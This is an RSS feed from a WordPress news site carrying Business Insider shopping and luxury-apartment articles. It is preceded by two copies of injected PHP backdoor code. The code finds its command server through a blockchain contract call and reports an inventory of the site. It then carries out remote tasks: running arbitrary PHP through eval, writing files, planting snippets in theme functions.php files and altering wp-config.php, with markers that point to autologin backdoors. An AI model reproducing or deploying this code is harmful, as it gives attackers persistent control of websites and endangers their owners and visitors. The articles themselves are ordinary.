// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); apartments – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 05 Jul 2018 01:07:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png apartments – Brief News https://briefnews.eu 32 32 13 home organization purchases that we swear by for our own apartments https://briefnews.eu/13-home-organization-purchases-that-we-swear-by-for-our-own-apartments/ https://briefnews.eu/13-home-organization-purchases-that-we-swear-by-for-our-own-apartments/#respond Thu, 05 Jul 2018 01:07:40 +0000 http://briefnews.eu/13-home-organization-purchases-that-we-swear-by-for-our-own-apartments/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

81K3HUpOUJL._SL1500_

An ongoing plague of domestic bliss is simply not being organized. 

The more things we acquire, the more storage space we need so we have somewhere to put them. That storage also backs up the reasonable expectation (and hope) that, when the time comes, we will be able to find the random electrical cord we now realize we do need.

Organization helps us get the most value out of the things we buy to make our lives easier and more enjoyable, as well as making the most efficient and clutter-free use of the space we inhabit. 

And if you don’t believe that, you’ve never spent more than ten minutes rifling through the designated “Tupperware drawer” in search of the imaginary lid that’ll fit the container you’ve already dumped your meal into.

To aggregate some wisdom from the experts (aka professional product reviewers with lots of clutter and little NYC space), I asked the Insider Picks team about their favorite personal organizational purchases to share with you.

Below are the best home organizational tools we’ve bought for ourselves:

Baskets for specific categories of items

Amazon

Trademark Innovations Foldable Hyacinth Storage Basket with Iron Wire Frame, Set of 5, $ 61.99, available at Amazon

“I swear by baskets as my home’s most useful organizational tool. I use these baskets (which fit perfectly into our various IKEA shelving units) to hold specific categories of items — one for bath towels, one for Tupperware, one for our miscellaneous tech chargers, etc. They have helped me keep every room extremely organized with very little visual clutter. I also use much larger baskets to hold things like extra sheets and blankets. They basically just create an aesthetically appealing means for storing items you otherwise wouldn’t have room for.” – Sally Kaplan, Insider Picks editor 

A Rolodex to organize credit cards all in one easy place

Amazon

Rolodex Business Card Book 96-Card, $ 12.99, available at Amazon

“While it may be overkill (okay, fine, it’s definitely overkill), this is one of my favorite organizational tools. I’ve signed up for a bunch of credit cards to earn the signup bonuses and take advantage of benefits, and I keep track of all of them by using the Rolodex business card book. I also keep things like loyalty program cards, insurance cards, unused gift cards, and other things in here. It helps me know where everything is and keep them organized, and, since it holds 96 cards, I have plenty of room to spare.” – David Slotnick, senior Insider Picks reporter

A 4-drawer rolling cart with a built-in divider for everything from art supplies to toiletries

Amazon

IRIS 4-Drawer Rolling Storage Cart with Organizer Top, $ 25.83, available at Amazon

“With its two deep drawers and two shallow drawers, this plastic cart is perfect for storing and organizing the random knick-knacks of my room, including art supplies, toiletries, and small tools. Meanwhile, I use the built-in divider tray to hold candles and tiny perfume samples. You can also add wheels to make it easier to move around.” – Connie Chen, Insider Picks reporter


See the rest of the story at Business Insider

See Also:

SEE ALSO: I slept on Casper’s new high-end ‘Wave’ mattress to see if it’s worth buying — and it’s truly a marvel of engineering

]]> https://briefnews.eu/13-home-organization-purchases-that-we-swear-by-for-our-own-apartments/feed/ 0 This $70 WiFi router is the perfect choice for people who live in small apartments — plus it has plenty of features usually reserved for pricier options https://briefnews.eu/this-70-wifi-router-is-the-perfect-choice-for-people-who-live-in-small-apartments-plus-it-has-plenty-of-features-usually-reserved-for-pricier-options/ https://briefnews.eu/this-70-wifi-router-is-the-perfect-choice-for-people-who-live-in-small-apartments-plus-it-has-plenty-of-features-usually-reserved-for-pricier-options/#comments Fri, 15 Jun 2018 16:07:36 +0000 http://briefnews.eu/this-70-wifi-router-is-the-perfect-choice-for-people-who-live-in-small-apartments-plus-it-has-plenty-of-features-usually-reserved-for-pricier-options/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase. 

TP Link Archer A7TP-Link

  • Traditional WiFi routers are usually hard to set up and manage, which makes them a lot harder to recommend than modern, mesh routers, which are smarter and have better performance.
  • I’ve been trying out TP-Link’s Archer A7 router, which has smart features like parental controls, a device block list, and setup and management that you can manage from an app. 
  • In my tests, the A7 could handle several internet-intensive tasks, like playing online games while streaming video, or downloading large files while browsing the web, without slowing down.
  • It’s not as powerful as modern mesh routers, but for $ 70 this is a traditional router I can easily recommend.

In a recent review I called mesh routers — which are typically sold in multi-packs, connecting to one other to spread WiFi evenly throughout your home — the future of networking, and I stand by that.

See the rest of the story at Business Insider

See Also:

SEE ALSO: The best routers you can buy for fast Wi-Fi at home

SEE ALSO: The best mesh Wi-Fi systems you can buy

]]> https://briefnews.eu/this-70-wifi-router-is-the-perfect-choice-for-people-who-live-in-small-apartments-plus-it-has-plenty-of-features-usually-reserved-for-pricier-options/feed/ 1 Inside the new building designed by the man behind ‘the world’s most powerful address,’ where apartments go for up to $35 million https://briefnews.eu/inside-the-new-building-designed-by-the-man-behind-the-worlds-most-powerful-address-where-apartments-go-for-up-to-35-million/ https://briefnews.eu/inside-the-new-building-designed-by-the-man-behind-the-worlds-most-powerful-address-where-apartments-go-for-up-to-35-million/#respond Thu, 08 Feb 2018 14:21:32 +0000 http://briefnews.eu/inside-the-new-building-designed-by-the-man-behind-the-worlds-most-powerful-address-where-apartments-go-for-up-to-35-million/ EastEndNewYorkCity (47 of 63)

  • 20 East End is a new luxury apartment building on New York City’s Upper East Side.
  • The building was designed by architect Robert A.M. Stern, who previously designed 15 Central Park West, a building some have called “the world’s most powerful address.”
  • 20 East End’s apartments range in cost from $ 10 million to upwards of $ 30 million

 

On a quiet, tree-lined block on New York City’s Upper East Side sits 20 East End, a new apartment building that looks like something out of the city’s Gilded Age.

Designed by high-end architect Robert A.M. Stern, 20 East End was built for New York’s elite. Apartments range from around $ 10 million to upwards of $ 30 million.

Stearn also designed 15 Central Park West, a now-legendary building that houses some of New York’s richest residents, such as Goldman Sachs CEO Lloyd Blankfein and actor Denzel Washington. The building has been called “the world’s most powerful address” by author Michael Gross.

20 East End features design touches evoking the 1920s and 1930s, when many neighboring buildings were constructed to cater to the era’s rich and powerful. 

“We were inspired by the buildings of the 1920s and we wanted to take that into the 21st century,” developer Edward Baquero, the president of the Corigin Real Estate Group, told Business Insider. “To really appreciate this building, you have to be a quintessential New Yorker.”

Baquero gave Business Insider a peek inside.

20 East End is located on East End Avenue on Manhattan’s Upper East Side. The 43-unit building — which includes two duplexes and two penthouses — is inspired by 1920s-era buildings, such as 120 East End Avenue, which was built by Vincent Astor.

Harrison Jacobs/Business Insider

Those buildings were had palatial 20-room apartments. “No one lives like that anymore,” Baquero said, adding that they wanted to take the spirit of those buildings and bring it to the present. This motor court, which features heated floors, a two-tiered fountain, and valet parking, will be one of only a few in the city when it’s finished.

Hayes Davidson

Residents enter this eight-sided rotunda from the street or the motor court. Every detail down to the oculus was custom designed by Stern, according to Baquero. The floor is Indiana limestone and Royal Danby marble, which was used on the Lincoln Memorial in Washington, DC.

Harrison Jacobs/Business Insider


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SEE ALSO: Step inside New York’s oldest health club, where celebrities, millennials, and businessmen mingle over Dead Sea mud treatments and a 190-degree steam room

DON’T MISS: Disney CEO Bob Iger has sold his palatial New York apartment for $ 18.75 million — have a look inside

]]> https://briefnews.eu/inside-the-new-building-designed-by-the-man-behind-the-worlds-most-powerful-address-where-apartments-go-for-up-to-35-million/feed/ 0 15 collapsible kitchen tools that are perfect for small apartments https://briefnews.eu/15-collapsible-kitchen-tools-that-are-perfect-for-small-apartments/ https://briefnews.eu/15-collapsible-kitchen-tools-that-are-perfect-for-small-apartments/#respond Mon, 05 Feb 2018 22:43:01 +0000 http://briefnews.eu/15-collapsible-kitchen-tools-that-are-perfect-for-small-apartments/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

colander

I have a pretty tiny kitchen. It sits in the corner of our apartment and can only fit two people at a time: one cooking by the stove and the other washing dishes in the sink.

To say our kitchen is cozy is an understatement and we’re often left playing complex games of Tetris with our containers, cookware, and tools in hopes of fitting them all. More often than not, we end up with an unorganized mess and hope we can find whatever’s necessary to cook or clean.

Fridge, cabinet, and drawer space is a precious commodity when you live in a small apartment, which is a payoff many accept for living in an expensive city or college town; still, all hope is not lost when it comes to maximizing your space. Collapsible kitchen tools are a small homeowner’s secret weapons, and using the ones below will create more space out of thin air.

Check out the 15 collapsible kitchen tools below. 

A funnel

Amazon

The unconventional shape of a funnel usually means it’s pretty difficult to store, but this silicone one folds flat and has a hole so you can hang it up. 

Zoie + Chloe Space Saving Silicone Foldable Collapsible Kitchen Funnel, $ 5.99, available at Amazon

Measuring cups

Amazon

These measuring cups collapse to one-third of their original height. This collapsing ability also makes cleaning sticky ingredients like peanut butter easier since you can pop them out in the opposite direction. 

Prepworks by Progressive Collapsible Measuring Cups (Set of 5), $ 11.50, available at Amazon

A colander

Amazon

When collapsed, these colanders are less than two inches tall.

Comfify Colander Set (Set of 2), $ 11.89, available at Amazon


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SEE ALSO: 24 practical kitchen gadgets and accessories you can buy for under $ 50
